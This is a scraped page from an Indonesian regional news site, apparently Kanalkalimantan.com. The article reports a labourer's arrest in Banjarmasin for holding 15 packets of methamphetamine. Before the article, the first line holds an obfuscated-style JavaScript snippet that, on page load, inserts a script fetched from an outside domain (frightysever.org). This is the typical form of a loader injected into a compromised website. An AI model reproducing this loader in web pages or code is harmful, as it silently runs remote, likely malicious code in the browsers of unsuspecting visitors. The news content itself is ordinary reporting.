(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

15 Paket Sabu Antar Seorang Buruh ke Sel Mapolsek Banjarmasin Barat


KANALKALIMANTAN.COM, BANJARMASIN – Seorang lelaki di Banjarmasin HT (40) tak berkutik ditangkap polisi karena menyimpan narkotika jenis sabu.

Buruh yang beralamat di Jalan Alalak Selatan Kecamatan Banjarmasin Utara tersebut ditangkap beserta barang bukti 15 paket sabu siap edar.

Kapolsek Banjarmasin Barat Kompol Aris Munandar melalui Kanit Reskrim Iptu Firuza Bahri menjelaskan, penangkapan berawal adanya laporan transaksi narkoba di kawasan Jalan Belitung Darat, tepatnya depan Gang Emasurai Kelurahan Kuin Cerucuk.

Kemudian setelah dilakukan penyelidikan, pada Senin (11/12/2023) malam sekitar pukul 19.00 Wita pelaku H dibekuk di kawasan tersebut. Namun, polisi saat itu tidak menemukan barang bukti narkoba di tangan pelaku.

Baca juga: Masih Jalani Hukuman, Ridlan Kembali Terjerat Korupsi Proyek di Banjarmasin

Polisi kemudian memeriksa riwayat percakapan handphone pelaku dan menemukan isi percakapan tentang transaksi narkoba jenis sabu.

Hasil pengembangan, polisi akhirnya menggeledah rumah HT Jalan A Yani Kilometer 21 Komplek Dua Sekawan Kelurahan Liang Anggang Kota Banjarbaru. Di rumah itu petugas menemukan barang bukti sabu.

“Barang bukti tersebut disimpan di dalam kamar,” kata Kanit Reskrim.

Unit Reskrim Polsek Banjarmasin Barat menemukan dari rumah HT 15 paket sabu dengan berat 9,56 gram.

Baca juga: Sejarah Hari Operasi Trikora 19 Desember, Berawal dari Seruan Presiden Soekarno

Barang bukti lain yang juga diamankan diantaranya sebuah dompet warna cokelat, 2 pak plastik klip, 1 sendok yang terbuat dari plastik, sebuah timbangan digital warna hitam, 2 buah handphone, serta uang diduga hasil transaksi narkoba Rp850 ribu.

“Pelaku dan barang bukti diamankan di Polsek Banjarmasin Barat guna proses hukum lebih lanjut,” pungkas Iptu Firuza.

Perbuatan pelaku terancam dengan jeratan pasal 114 ayat (2) Jo pasal 112 ayat (1) Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.